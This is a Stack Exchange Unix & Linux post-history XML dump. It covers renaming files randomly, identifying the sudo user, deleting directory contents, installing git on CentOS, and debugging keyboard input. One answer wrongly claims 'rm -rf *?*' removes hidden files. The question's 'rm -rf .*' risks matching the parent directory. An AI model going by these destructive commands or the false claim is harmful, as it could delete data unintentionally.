  <row Id="15004" PostHistoryTypeId="2" PostId="6552" RevisionGUID="e7092857-bedb-4d8b-b741-a9f76522e8e9" CreationDate="2011-01-27T20:56:39.350" UserId="2179" Text="There's nothing Unix specific here...&#xD;&#xA;&#xD;&#xA;    import random, os&#xD;&#xA;&#xD;&#xA;    input_path = &quot;/home/badp/Youtube/&quot; #absolute path for simplicity&#xD;&#xA;    output_path = &quot;./playlist&quot;&#xD;&#xA;    files = os.listdir(input_path) #assume all files in the same folder for simplicity&#xD;&#xA;    random.shuffle(files)&#xD;&#xA;&#xD;&#xA;    os.mkdir(output_path)&#xD;&#xA;    os.chdir(output_path)&#xD;&#xA;    i = 0 &#xD;&#xA;    for filename in files:&#xD;&#xA;      os.link( os.path.join(input_path, filename),&#xD;&#xA;               str(i) + filename[filename.rfind(os.path.extsep):]&#xD;&#xA;             )         #↑ there must be something cleaner than this :)&#xD;&#xA;      i += 1&#xD;&#xA;&#xD;&#xA;This'll break if there are folders in `input_path` (which you can't hardlink), but you can easily rewrite the file &quot;hunting&quot; logic to something much more robust (recursive search etc.) with the help of [`os.path`][1] and [`os.walk`][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.python.org/library/os.path.html&#xD;&#xA;  [2]: http://docs.python.org/library/os.html#os.walk" />
  <row Id="15005" PostHistoryTypeId="2" PostId="6553" RevisionGUID="5170be47-5aa2-43a7-aab2-011cfc97735d" CreationDate="2011-01-27T21:05:32.903" UserId="885" Text="    find . -type f |&#xD;&#xA;    shuf |  # shuffle the input lines, i.e. apply a random permutation&#xD;&#xA;    nl -n rz |  # add line numbers 000001, …&#xD;&#xA;    while read -r number name; do&#xD;&#xA;      ext=${name##*/}  # try to retain the file name extension&#xD;&#xA;      case $ext in&#xD;&#xA;        *.*) ext=.${ext##*.};;&#xD;&#xA;        *) ext=;;&#xD;&#xA;      esac&#xD;&#xA;      mv &quot;$name&quot; &quot;../randomized/${name%/*}/$number$ext&quot;&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Replace `mv` by `ln` or `ln -s` and possibly a different target directory as you see fit. Note that since `find` may still be traversing the directory by the time `mv` runs, you shouldn't rename or link the file inside the same directory.&#xD;&#xA;&#xD;&#xA;`shuf` is specific to GNU coreutils, the rest is POSIX. If you're not on Linux or Cygwin, see alternatives in [awk](http://stackoverflow.com/questions/2153882/how-can-i-shuffle-the-lines-of-a-text-file-in-unix-command-line) or [Perl](http://stackoverflow.com/questions/886237/how-can-i-randomize-the-lines-in-a-file-using-a-standard-tools-on-redhat-linux)." />
  <row Id="15006" PostHistoryTypeId="5" PostId="6549" RevisionGUID="0377afc5-5f9c-47b0-a0a1-bfc740dc1e7a" CreationDate="2011-01-27T21:16:36.477" UserId="1327" Comment="deleted 2 characters in body" Text="Ok, this may sound like an odd request but it really has a good purpose! I have a Panasonic Plasma TV with an SD card slot, via which I can display a slideshow of JPEG photos. This is useful for preventing burn-in, if I step away from the TV for a few moments while cooking, or if I answer the phone, or whatever, it's handy to just start the slideshow to prevent a static image from showing up, and also let me see photos while I do something else.&#xD;&#xA;&#xD;&#xA;The problem is the slideshow always starts from the first photo alphabetically, meaning I always see the same images and never get to the end. What I'd like to do is have a script on my Unix machine which I can run on the SD card (mounted at `/media/sdcard`) and have it randomize the names of all the files under that directory. Doesn't *really* matter how it randomizes them but I'd *prefer* purely numeric names (for no apparent reason)&#xD;&#xA;&#xD;&#xA;Is there an easy way to accomplish this? Something like `find /media/sdcard -exec mv {} rand() \;`?&#xD;&#xA;&#xD;&#xA;For bonus points, any way to prevent the script from *overwriting* two files in the event that there's a collision? These are copies of photos so if I lose one I still have the original, but still that would be inconvenient..." />
  <row Id="15007" PostHistoryTypeId="2" PostId="6554" RevisionGUID="aeef7bb0-beed-4664-b353-93302b262945" CreationDate="2011-01-27T21:39:49.157" UserId="4258" Text="I have sudo rights on a redhat box; once I've &quot;sudo su -&quot; to become root in a shell, are there any commands I can run to see what username I su'd FROM?&#xD;&#xA;" />
  <row Id="15008" PostHistoryTypeId="1" PostId="6554" RevisionGUID="aeef7bb0-beed-4664-b353-93302b262945" CreationDate="2011-01-27T21:39:49.157" UserId="4258" Text="Once sudo su'd to root, is there a command to see my username?" />
  <row Id="15009" PostHistoryTypeId="3" PostId="6554" RevisionGUID="aeef7bb0-beed-4664-b353-93302b262945" CreationDate="2011-01-27T21:39:49.157" UserId="4258" Text="élinuxàérhelàésudoà" />
  <row Id="15010" PostHistoryTypeId="2" PostId="6555" RevisionGUID="dbf72f8c-9fe5-44ba-8b34-29d7a31f3d6a" CreationDate="2011-01-27T21:53:48.943" UserId="885" Text="The shell's parent process is `su`, so you need to find out the user running `su`'s parent process:&#xD;&#xA;&#xD;&#xA;    ps -o user= $(ps -o ppid= $PPID)&#xD;&#xA;&#xD;&#xA;But you shouldn't be doing `sudo su -` if your version of sudo is not too old to have `sudo -i`. Sudo sets the environment variable `SUDO_USER` to the name of the user who ran sudo. You won't see it with `sudo su -`  because `su -` scrubs the environment.&#xD;&#xA;&#xD;&#xA;    $ sudo -i&#xD;&#xA;    # echo $SUDO_USER&#xD;&#xA;    gilles&#xD;&#xA;" />
  <row Id="15011" PostHistoryTypeId="2" PostId="6556" RevisionGUID="30084567-d6e0-470c-8b32-9391784eb2a7" CreationDate="2011-01-27T21:53:52.407" UserId="4261" Text="I'm using openSuse.  It was installed for me by the IT group here at work this week.  I routinely use Shift+Ctrl+ some arrow key to highlight text, and I'm in the habit of simply typing in order to replace the text that has been highlighted.&#xD;&#xA;&#xD;&#xA;If I highlight the text with the mouse and start typing, everything works fine.  If I highlight the text using the keyboard combination, then the first character I type deletes the highlighted text and the second does nothing, then the remainder of the characters I type are put as a replacement to the highlighted text.  This behavior appears to happen regardless of application.  I've seen it in Google chrome (although not the URL bar), Firefox, and in Eclipse text editors.&#xD;&#xA;&#xD;&#xA;I have no idea what's going on, but it's really annoying and slowing me down in Eclipse.  I can get around in linux, but I'm no guru.  Where should I look to figure out what is going on?" />
  <row Id="15012" PostHistoryTypeId="1" PostId="6556" RevisionGUID="30084567-d6e0-470c-8b32-9391784eb2a7" CreationDate="2011-01-27T21:53:52.407" UserId="4261" Text="Shift+Ctrl+[Left|Right] to highlight text, then type, ignores the first two characters typed" />
  <row Id="15013" PostHistoryTypeId="3" PostId="6556" RevisionGUID="30084567-d6e0-470c-8b32-9391784eb2a7" CreationDate="2011-01-27T21:53:52.407" UserId="4261" Text="élinuxàékeyboardöshortcutsà" />
  <row Id="15014" PostHistoryTypeId="2" PostId="6557" RevisionGUID="afc1602c-d507-47dd-80de-3a4fb8660556" CreationDate="2011-01-27T21:59:45.553" UserId="3934" Text="Run command `&quot;who am i&quot;` it will return you something like that:&#xD;&#xA;&#xD;&#xA;    **gladimdim** tty2        2011-01-27 23:54 (:0)&#xD;&#xA;&#xD;&#xA;In bold &quot;gladimdim&quot; is the user which was initially logged to system. " />
  <row Id="15015" PostHistoryTypeId="2" PostId="6558" RevisionGUID="511f93f2-3f1f-49dd-8e11-1ad53c2e1cb3" CreationDate="2011-01-27T22:11:34.397" UserId="3844" Text="I'm sorry for asking such a basic question:&#xD;&#xA;&#xD;&#xA;How do I delete everything in a directory, including hidden files and directories?&#xD;&#xA;&#xD;&#xA;Right now, I use the following:&#xD;&#xA;&#xD;&#xA;    rm -rf *&#xD;&#xA;    rm -rf .*" />
  <row Id="15016" PostHistoryTypeId="1" PostId="6558" RevisionGUID="511f93f2-3f1f-49dd-8e11-1ad53c2e1cb3" CreationDate="2011-01-27T22:11:34.397" UserId="3844" Text="How do I delete everything in a directory?" />
  <row Id="15017" PostHistoryTypeId="3" PostId="6558" RevisionGUID="511f93f2-3f1f-49dd-8e11-1ad53c2e1cb3" CreationDate="2011-01-27T22:11:34.397" UserId="3844" Text="ébashàéshellà" />
  <row Id="15018" PostHistoryTypeId="2" PostId="6559" RevisionGUID="470d0092-0f97-4fee-9b9f-2d7e2c4f3ecf" CreationDate="2011-01-27T22:14:51.097" UserId="3934" Text="Try `rm -rf *?*`. This will delete files with and without dot in their name." />
  <row Id="15019" PostHistoryTypeId="5" PostId="6559" RevisionGUID="c4581c28-d151-427e-b39e-26a9625c47b5" CreationDate="2011-01-27T22:22:52.253" UserId="3934" Comment="deleted 17 characters in body" Text="Try `rm -rf *?*`. This will delete normal and hidden files." />
  <row Id="15020" PostHistoryTypeId="2" PostId="6560" RevisionGUID="99c47fd4-5887-4f8c-a7a6-2287648c742f" CreationDate="2011-01-27T22:45:21.533" UserId="885" Text="    rm -rf -- * .[!.]* ..?*&#xD;&#xA;&#xD;&#xA;Each of the three pattern expands to itself if it matches nothing, but that's not a problem here since we want to match everything and `rm -f` ignored nonexistent arguments.&#xD;&#xA;&#xD;&#xA;Note that [`.*` would match `..`](http://unix.stackexchange.com/questions/1180/is-the-behaviour-of-to-include-and-defined-in-lsb-or-posix-or-some-other/1215#1215).&#xD;&#xA;" />
  <row Id="15021" PostHistoryTypeId="2" PostId="6561" RevisionGUID="67c46012-1d79-4be5-b382-b59b9b420179" CreationDate="2011-01-27T23:13:22.900" UserId="250" Text="I see an accepted answer and another good answer. Anyway here is a script that I have been using. It randomizes the names by changing them to a hash sequence computed by the full path. Because the full path is unique to each system it is expected that file names don't clash (this is not fool-proof and adding a check would be easy but I didn't bother). This script renames files recursively but leave directory names intact. Use it by passing the folder to apply recursive rename as a parameter.&#xD;&#xA;&#xD;&#xA;    #! /bin/bash                                                                                                                                             &#xD;&#xA;&#xD;&#xA;    do_rename() {&#xD;&#xA;        (&#xD;&#xA;        export prevdir=&quot;$(pwd)&quot;&#xD;&#xA;        cd &quot;$1&quot;&#xD;&#xA;        for file in *&#xD;&#xA;        do&#xD;&#xA;            if [ -d &quot;$file&quot; ]&#xD;&#xA;            then&#xD;&#xA;                echo &quot;$file is a directory, renaming recursively&quot;&#xD;&#xA;                do_rename &quot;$file&quot;&#xD;&#xA;            elif [ -f &quot;$file&quot; ]&#xD;&#xA;            then&#xD;&#xA;                dirpath=&quot;$prevdir/$1&quot;&#xD;&#xA;                oldname=&quot;$dirpath/$file&quot;&#xD;&#xA;                name_hash=$(echo &quot;$oldname&quot; | md5sum)&#xD;&#xA;                newname=&quot;$dirpath/${name_hash:0:32}.jpg&quot;&#xD;&#xA;                echo &quot;mv $oldname $newname&quot;&#xD;&#xA;                mv $oldname $newname&#xD;&#xA;            fi&#xD;&#xA;        done&#xD;&#xA;        cd &quot;$prevdir&quot;&#xD;&#xA;        )&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    do_rename &quot;$1&quot;" />
  <row Id="15022" PostHistoryTypeId="25" PostId="6558" RevisionGUID="fae83056-c2e6-4063-b21c-23bddf489eea" CreationDate="2011-01-27T23:15:57.373" Comment="http://twitter.com/#!/StackUnix/status/30765985837350912" />
  <row Id="15023" PostHistoryTypeId="5" PostId="6556" RevisionGUID="a779fe10-34c3-4a4a-ae76-79aea1bbc729" CreationDate="2011-01-27T23:23:19.147" UserId="4261" Comment="added further information about environment." Text="I'm using openSuse.  It was installed for me by the IT group here at work this week.  I routinely use Shift+Ctrl+ some arrow key to highlight text, and I'm in the habit of simply typing in order to replace the text that has been highlighted.&#xD;&#xA;&#xD;&#xA;If I highlight the text with the mouse and start typing, everything works fine.  If I highlight the text using the keyboard combination, then the first character I type deletes the highlighted text and the second does nothing, then the remainder of the characters I type are put as a replacement to the highlighted text.  This behavior appears to happen regardless of application.  I've seen it in Google chrome (although not the URL bar), Firefox, and in Eclipse text editors.&#xD;&#xA;&#xD;&#xA;I have no idea what's going on, but it's really annoying and slowing me down in Eclipse.  I can get around in linux, but I'm no guru.  Where should I look to figure out what is going on?&#xD;&#xA;&#xD;&#xA;**Update:** I'm in Gnome.  I've seen the behavior in Open Office writer, Google Chrome, Firefox, Eclipse, Thunderbird.  I did _not_ see it in Tomboy Notes or gedit. " />
  <row Id="15024" PostHistoryTypeId="2" PostId="6562" RevisionGUID="738eab06-21ad-456f-8b3e-923eb7bba5b5" CreationDate="2011-01-27T22:59:43.040" UserDisplayName="Marcelo Rodrigo" Text="I have added EPEL repo on my YUM.&#xD;&#xA;When run yum install git-core ...&#xD;&#xA;&#xD;&#xA;    root@server [~]# yum install git-core&#xD;&#xA;    Loaded plugins: fastestmirror&#xD;&#xA;    Loading mirror speeds from cached hostfile&#xD;&#xA;     * addons: mirror.team-cymru.org&#xD;&#xA;     * base: yum.singlehop.com&#xD;&#xA;     * epel: mirrors.servercentral.net&#xD;&#xA;     * extras: mirror.steadfast.net&#xD;&#xA;     * rpmforge: fr2.rpmfind.net&#xD;&#xA;     * updates: pubmirrors.reflected.net&#xD;&#xA;    Excluding Packages in global exclude list&#xD;&#xA;    Finished&#xD;&#xA;    Setting up Install Process&#xD;&#xA;    Resolving Dependencies&#xD;&#xA;    --&gt; Running transaction check&#xD;&#xA;    ---&gt; Package git.i386 0:1.7.3-1.el4.rf set to be updated&#xD;&#xA;    --&gt; Processing Dependency: perl-Git = 1.7.3-1.el4.rf for package: git&#xD;&#xA;    --&gt; Processing Dependency: libcrypto.so.4 for package: git&#xD;&#xA;    --&gt; Processing Dependency: perl(DBI) for package: git&#xD;&#xA;    --&gt; Processing Dependency: libssl.so.4 for package: git&#xD;&#xA;    --&gt; Processing Dependency: perl(Git) for package: git&#xD;&#xA;    --&gt; Running transaction check&#xD;&#xA;    ---&gt; Package git.i386 0:1.7.3-1.el4.rf set to be updated&#xD;&#xA;    --&gt; Processing Dependency: perl-Git = 1.7.3-1.el4.rf for package: git&#xD;&#xA;    --&gt; Processing Dependency: perl(DBI) for package: git&#xD;&#xA;    --&gt; Processing Dependency: perl(Git) for package: git&#xD;&#xA;    ---&gt; Package openssl097a.i386 0:0.9.7a-9.el5_4.2 set to be updated&#xD;&#xA;    --&gt; Finished Dependency Resolution&#xD;&#xA;    git-1.7.3-1.el4.rf.i386 from rpmforge has depsolving problems&#xD;&#xA;      --&gt; Missing Dependency: perl(DBI) is needed by package git-1.7.3-1.el4.rf.i386 (rpmforge)&#xD;&#xA;    git-1.7.3-1.el4.rf.i386 from rpmforge has depsolving problems&#xD;&#xA;      --&gt; Missing Dependency: perl(Git) is needed by package git-1.7.3-1.el4.rf.i386 (rpmforge)&#xD;&#xA;    git-1.7.3-1.el4.rf.i386 from rpmforge has depsolving problems&#xD;&#xA;      --&gt; Missing Dependency: perl-Git = 1.7.3-1.el4.rf is needed by package git-1.7.3-1.el4.rf.i386 (rpmforge)&#xD;&#xA;    Error: Missing Dependency: perl(DBI) is needed by package git-1.7.3-1.el4.rf.i386 (rpmforge)&#xD;&#xA;    Error: Missing Dependency: perl(Git) is needed by package git-1.7.3-1.el4.rf.i386 (rpmforge)&#xD;&#xA;    Error: Missing Dependency: perl-Git = 1.7.3-1.el4.rf is needed by package git-1.7.3-1.el4.rf.i386 (rpmforge)&#xD;&#xA;     You could try using --skip-broken to work around the problem&#xD;&#xA;     You could try running: package-cleanup --problems&#xD;&#xA;                            package-cleanup --dupes&#xD;&#xA;                            rpm -Va --nofiles --nodigest&#xD;&#xA;&#xD;&#xA;But, when run ...&#xD;&#xA;&#xD;&#xA;    yum install perl-DBI&#xD;&#xA;&#xD;&#xA;Then ...&#xD;&#xA;&#xD;&#xA;    No package perl-DBI available.&#xD;&#xA;    Nothing to do&#xD;&#xA;&#xD;&#xA;Any idea?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="15025" PostHistoryTypeId="1" PostId="6562" RevisionGUID="738eab06-21ad-456f-8b3e-923eb7bba5b5" CreationDate="2011-01-27T22:59:43.040" UserDisplayName="Marcelo Rodrigo" Text="Install Git on CentOS 5.5" />
  <row Id="15026" PostHistoryTypeId="3" PostId="6562" RevisionGUID="738eab06-21ad-456f-8b3e-923eb7bba5b5" CreationDate="2011-01-27T22:59:43.040" UserDisplayName="Marcelo Rodrigo" Text="éperlàégitàécentosàéyumà" />
  <row Id="15027" PostHistoryTypeId="17" PostId="6562" RevisionGUID="21f95973-6cd5-4860-940f-d05e6d423cea" CreationDate="2011-01-27T23:29:49.710" UserId="-1" Comment="from http://stackoverflow.com/questions/4822964/install-git-on-centos-5-5" Text="" />
  <row Id="15028" PostHistoryTypeId="2" PostId="6563" RevisionGUID="1e5cc500-7c16-4b5d-8a45-968e5bd34188" CreationDate="2011-01-27T23:55:39.523" UserId="825" Text="if you are in the directory:&#xD;&#xA; &#xD;&#xA;`cd .. &amp;&amp; rm -rf dir &amp;&amp; mkdir dir &amp;&amp; cd dir`&#xD;&#xA;&#xD;&#xA;otherwise:&#xD;&#xA;&#xD;&#xA;`rm -rf /path/to/dir &amp;&amp; mkdir /path/to/dir`" />
  <row Id="15029" PostHistoryTypeId="2" PostId="6564" RevisionGUID="b9fa1f53-a3b0-4fbc-943c-658c6a55b418" CreationDate="2011-01-27T23:57:46.340" UserId="4265" Text="So, &#xD;&#xA;&#xD;&#xA;I was recently setting up a cpanel instance on this server, and I was pretty surprised as I have installed git without issue before on CentOS boxes before.&#xD;&#xA;&#xD;&#xA;So cpanel has blocked all perl packages from being installed or updated because they don’t want updates to break or conflict with their packages. Thankfully yum provides a nice one time workaround for this kind of situation.&#xD;&#xA;&#xD;&#xA;&gt; yum --disableexcludes=main install git" />
  <row Id="15030" PostHistoryTypeId="6" PostId="6562" RevisionGUID="ccd75a90-6e39-431b-b36d-e847e3b6f1c7" CreationDate="2011-01-27T23:58:37.260" UserId="4265" Comment="edited tags" Text="éyumà" />
  <row Id="15031" PostHistoryTypeId="2" PostId="6565" RevisionGUID="53ab1191-41f0-4885-9535-34fb2d35f9bc" CreationDate="2011-01-28T00:29:49.103" UserId="3848" Text="The best answer is: Don't do that.  Recursively remove the directory itself, then recreate it.  It's more reliable and easier for other people to understand what you're trying to do.  When you re-create the directory it may have a different owner, group and permissions.  If those are important be careful." />
  <row Id="15032" PostHistoryTypeId="2" PostId="6566" RevisionGUID="4ed004cc-5e89-4199-aad1-711aa7c9fc89" CreationDate="2011-01-28T00:30:47.827" UserId="3635" Text="Just check it on the device itself: [iPod shuffle: Checking the battery charge][1]&#xD;&#xA;&#xD;&#xA;If you are lucky to have a newer model, you can get fairly fine-grained information:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Charging Indicators when listening to iPod shuffle&#xD;&#xA;&#xD;&#xA;Status Light	Charge Level	Audible Notification&#xD;&#xA; Green           76% - 100%     “Battery Full”&#xD;&#xA;                 51% - 75%      “Battery 75%”&#xD;&#xA;                 26% - 50%      “Battery 50%”&#xD;&#xA; Orange          11% - 25%      “Battery 25%”&#xD;&#xA; Red             1%-10%         “Battery Low”&#xD;&#xA; Blinking Red    less than 1%   Tri-Tone&#xD;&#xA; None            0%              None&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://support.apple.com/kb/HT1510" />
  <row Id="15033" PostHistoryTypeId="2" PostId="6567" RevisionGUID="51e4ebe3-6015-42b0-96a0-9bd22ed4ae84" CreationDate="2011-01-28T00:33:08.983" UserId="3169" Text="So you would expect the first and second characters to overwrite the selected text, right?&#xD;&#xA;&#xD;&#xA;What does `xev` print?  &#xD;&#xA;(Run it from a terminal, then move the mouse over the window, then press  &#xD;&#xA;&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;Shift&lt;/kbd&gt; &lt;kbd&gt;Left&lt;/kbd&gt; &lt;kbd&gt;Left&lt;/kbd&gt; &lt;kbd&gt;a&lt;/kbd&gt; &lt;kbd&gt;b&lt;/kbd&gt;)&#xD;&#xA;&#xD;&#xA;For me, it does this.&#xD;&#xA;&#xD;&#xA;Pressing and holding &lt;kbd&gt;Ctrl&lt;/kbd&gt; then &lt;kbd&gt;Shift&lt;/kbd&gt;...&#xD;&#xA;&#xD;&#xA;        KeyPress event, serial 33, synthetic NO, window 0x4c00001,&#xD;&#xA;            root 0x109, subw 0x4c00002, time 143718968, (47,65), root:(48,147),&#xD;&#xA;            state 0x10, keycode 37 (keysym 0xffe3, Control_L), same_screen YES,&#xD;&#xA;            XLookupString gives 0 bytes: &#xD;&#xA;            XmbLookupString gives 0 bytes: &#xD;&#xA;            XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;        KeyPress event, serial 33, synthetic NO, window 0x4c00001,&#xD;&#xA;            root 0x109, subw 0x4c00002, time 143719024, (47,65), root:(48,147),&#xD;&#xA;            state 0x14, keycode 50 (keysym 0xffe1, Shift_L), same_screen YES,&#xD;&#xA;            XLookupString gives 0 bytes: &#xD;&#xA;            XmbLookupString gives 0 bytes: &#xD;&#xA;            XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;then &lt;kbd&gt;Left&lt;/kbd&gt;, &lt;kbd&gt;Left&lt;/kbd&gt;...&#xD;&#xA;&#xD;&#xA;        KeyPress event, serial 33, synthetic NO, window 0x4c00001,&#xD;&#xA;            root 0x109, subw 0x4c00002, time 143720176, (47,65), root:(48,147),&#xD;&#xA;            state 0x15, keycode 113 (keysym 0xff51, Left), same_screen YES,&#xD;&#xA;            XLookupString gives 0 bytes: &#xD;&#xA;            XmbLookupString gives 0 bytes: &#xD;&#xA;            XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;        KeyRelease event, serial 33, synthetic NO, window 0x4c00001,&#xD;&#xA;            root 0x109, subw 0x4c00002, time 143720280, (47,65), root:(48,147),&#xD;&#xA;            state 0x15, keycode 113 (keysym 0xff51, Left), same_screen YES,&#xD;&#xA;            XLookupString gives 0 bytes: &#xD;&#xA;            XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;        KeyPress event, serial 33, synthetic NO, window 0x4c00001,&#xD;&#xA;            root 0x109, subw 0x4c00002, time 143720952, (47,65), root:(48,147),&#xD;&#xA;            state 0x15, keycode 113 (keysym 0xff51, Left), same_screen YES,&#xD;&#xA;            XLookupString gives 0 bytes: &#xD;&#xA;            XmbLookupString gives 0 bytes: &#xD;&#xA;            XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;        KeyRelease event, serial 33, synthetic NO, window 0x4c00001,&#xD;&#xA;            root 0x109, subw 0x4c00002, time 143721040, (47,65), root:(48,147),&#xD;&#xA;            state 0x15, keycode 113 (keysym 0xff51, Left), same_screen YES,&#xD;&#xA;            XLookupString gives 0 bytes: &#xD;&#xA;            XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;then letting go of &lt;kbd&gt;Ctrl&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt;...&#xD;&#xA;&#xD;&#xA;        KeyRelease event, serial 33, synthetic NO, window 0x4c00001,&#xD;&#xA;            root 0x109, subw 0x4c00002, time 143723304, (47,65), root:(48,147),&#xD;&#xA;            state 0x15, keycode 37 (keysym 0xffe3, Control_L), same_screen YES,&#xD;&#xA;            XLookupString gives 0 bytes: &#xD;&#xA;            XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;        KeyRelease event, serial 33, synthetic NO, window 0x4c00001,&#xD;&#xA;            root 0x109, subw 0x4c00002, time 143723304, (47,65), root:(48,147),&#xD;&#xA;            state 0x11, keycode 50 (keysym 0xffe1, Shift_L), same_screen YES,&#xD;&#xA;            XLookupString gives 0 bytes: &#xD;&#xA;            XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;then pressing &lt;kbd&gt;a&lt;/kbd&gt;, &lt;kbd&gt;b&lt;/kbd&gt;&#xD;&#xA;&#xD;&#xA;        KeyPress event, serial 33, synthetic NO, window 0x4c00001,&#xD;&#xA;            root 0x109, subw 0x4c00002, time 143724576, (47,65), root:(48,147),&#xD;&#xA;            state 0x10, keycode 38 (keysym 0x61, a), same_screen YES,&#xD;&#xA;            XLookupString gives 1 bytes: (61) &quot;a&quot;&#xD;&#xA;            XmbLookupString gives 1 bytes: (61) &quot;a&quot;&#xD;&#xA;            XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;        KeyRelease event, serial 33, synthetic NO, window 0x4c00001,&#xD;&#xA;            root 0x109, subw 0x4c00002, time 143724672, (47,65), root:(48,147),&#xD;&#xA;            state 0x10, keycode 38 (keysym 0x61, a), same_screen YES,&#xD;&#xA;            XLookupString gives 1 bytes: (61) &quot;a&quot;&#xD;&#xA;            XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;        KeyPress event, serial 33, synthetic NO, window 0x4c00001,&#xD;&#xA;            root 0x109, subw 0x4c00002, time 143725048, (47,65), root:(48,147),&#xD;&#xA;            state 0x10, keycode 57 (keysym 0x62, b), same_screen YES,&#xD;&#xA;            XLookupString gives 1 bytes: (62) &quot;b&quot;&#xD;&#xA;            XmbLookupString gives 1 bytes: (62) &quot;b&quot;&#xD;&#xA;            XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;        KeyRelease event, serial 33, synthetic NO, window 0x4c00001,&#xD;&#xA;            root 0x109, subw 0x4c00002, time 143725136, (47,65), root:(48,147),&#xD;&#xA;            state 0x10, keycode 57 (keysym 0x62, b), same_screen YES,&#xD;&#xA;            XLookupString gives 1 bytes: (62) &quot;b&quot;&#xD;&#xA;            XFilterEvent returns: False&#xD;&#xA;&#xD;&#xA;I would look especially at the last two blocks, i.e. when releasing &lt;kbd&gt;Ctrl&lt;/kbd&gt; and &lt;kbd&gt;Shift&lt;/kbd&gt; and then when pressing &lt;kbd&gt;a&lt;/kbd&gt; &lt;kbd&gt;b&lt;/kbd&gt; to see if there are any differences.&#xD;&#xA;&#xD;&#xA;Other thoughts:&#xD;&#xA;&#xD;&#xA;  * do you have Sticky Keys on?&#xD;&#xA;  * do you have &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt; set to change the keyboard layout or language?&#xD;&#xA;" />
  <row Id="15034" PostHistoryTypeId="5" PostId="6566" RevisionGUID="27e9d4af-2395-4d60-91bf-4d1f00aed455" CreationDate="2011-01-28T00:36:06.777" UserId="3635" Comment="added 7 characters in body" Text="Just check it on the device itself: [iPod shuffle: Checking the battery charge][1]&#xD;&#xA;&#xD;&#xA;If you are lucky enough to have a newer model, you can get fairly fine-grained information:&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;Charging Indicators when listening to iPod shuffle&#xD;&#xA;&#xD;&#xA;Status Light	Charge Level	Audible Notification&#xD;&#xA; Green           76% - 100%     “Battery Full”&#xD;&#xA;                 51% - 75%      “Battery 75%”&#xD;&#xA;                 26% - 50%      “Battery 50%”&#xD;&#xA; Orange          11% - 25%      “Battery 25%”&#xD;&#xA; Red             1%-10%         “Battery Low”&#xD;&#xA; Blinking Red    less than 1%   Tri-Tone&#xD;&#xA; None            0%              None&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;  [1]: http://support.apple.com/kb/HT1510" />
  <row Id="15035" PostHistoryTypeId="2" PostId="6568" RevisionGUID="1e387c85-2c9d-4b12-8c2b-759cd9b7ee94" CreationDate="2011-01-28T00:48:39.367" UserId="250" Text="Oh my Zsh&#xD;&#xA;&#xD;&#xA;    rm -rf (.|)*&#xD;&#xA;&#xD;&#xA;Again, this is for Zsh only." />
  <row Id="15036" PostHistoryTypeId="2" PostId="6569" RevisionGUID="bc03d0ed-307a-44fb-a44c-6122df2c7842" CreationDate="2011-01-28T02:12:39.823" UserId="3447" Text="I'd like to have my system automatically take me to https://facebook.com even if I put http://facebook.com into my browser.  I can get `/etc/hosts` to redirect to me to different domains, but it seems to ignore it if I put `https://` into it.&#xD;&#xA;&#xD;&#xA;This works, and it redirects facebook.com to google.com:&#xD;&#xA;&#xD;&#xA;    74.125.95.103    facebook.com&#xD;&#xA;&#xD;&#xA;This does not&#xD;&#xA;&#xD;&#xA;    https://74.125.95.103   facebook.com&#xD;&#xA;&#xD;&#xA;My guess is that you can't use text at all in the part where the IP is, but how do I force it to use https?  Is this possible in `iptables`?" />
  <row Id="15037" PostHistoryTypeId="1" PostId="6569" RevisionGUID="bc03d0ed-307a-44fb-a44c-6122df2c7842" CreationDate="2011-01-28T02:12:39.823" UserId="3447" Text="Using /etc/hosts or iptables to redirect site to https:// version" />
  <row Id="15038" PostHistoryTypeId="3" PostId="6569" RevisionGUID="bc03d0ed-307a-44fb-a44c-6122df2c7842" CreationDate="2011-01-28T02:12:39.823" UserId="3447" Text="énetworkingàéiptablesàéhostsà" />
  <row Id="15039" PostHistoryTypeId="25" PostId="6554" RevisionGUID="eaed34f0-5260-4677-b406-321de5a15853" CreationDate="2011-01-28T02:15:57.170" Comment="http://twitter.com/#!/StackUnix/status/30811283670441984" />
  <row Id="15040" PostHistoryTypeId="2" PostId="6570" RevisionGUID="e04c8583-2cce-4318-985c-259efc0633b7" CreationDate="2011-01-28T02:46:13.417" UserId="3169" Text="No, it is not possible.&#xD;&#xA;&#xD;&#xA;You could use `iptables` to redirect port 80 to port 443, but the browser would try speaking `http` to the `https` port, and all you would get is garbage." />
  <row Id="15041" PostHistoryTypeId="5" PostId="6570" RevisionGUID="390e3b32-a031-4fbd-9639-7141dfbcf040" CreationDate="2011-01-28T03:04:57.630" UserId="3169" Comment="added 280 characters in body; added 244 characters in body" Text="No, it is not possible.&#xD;&#xA;&#xD;&#xA;You could use `iptables` to redirect port 80 to port 443, but the browser would try speaking `http` to the `https` port, and all you would get is garbage.&#xD;&#xA;&#xD;&#xA;Maybe something using a Squid proxy would work.  You could make it a transparent proxy if you can't change everyone's proxy settings.&#xD;&#xA;&#xD;&#xA;Or, if it's just for Facebook, there is a [new per-user setting to force HTTPS][1] that might work for you when it is rolled out.&#xD;&#xA;&#xD;&#xA;Or, if you're using Firefox, check out [HTTPS Everywhere][2].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.onlinesocialmedia.net/20110127/facebook-security-addition-of-https-access/&#xD;&#xA;  [2]: 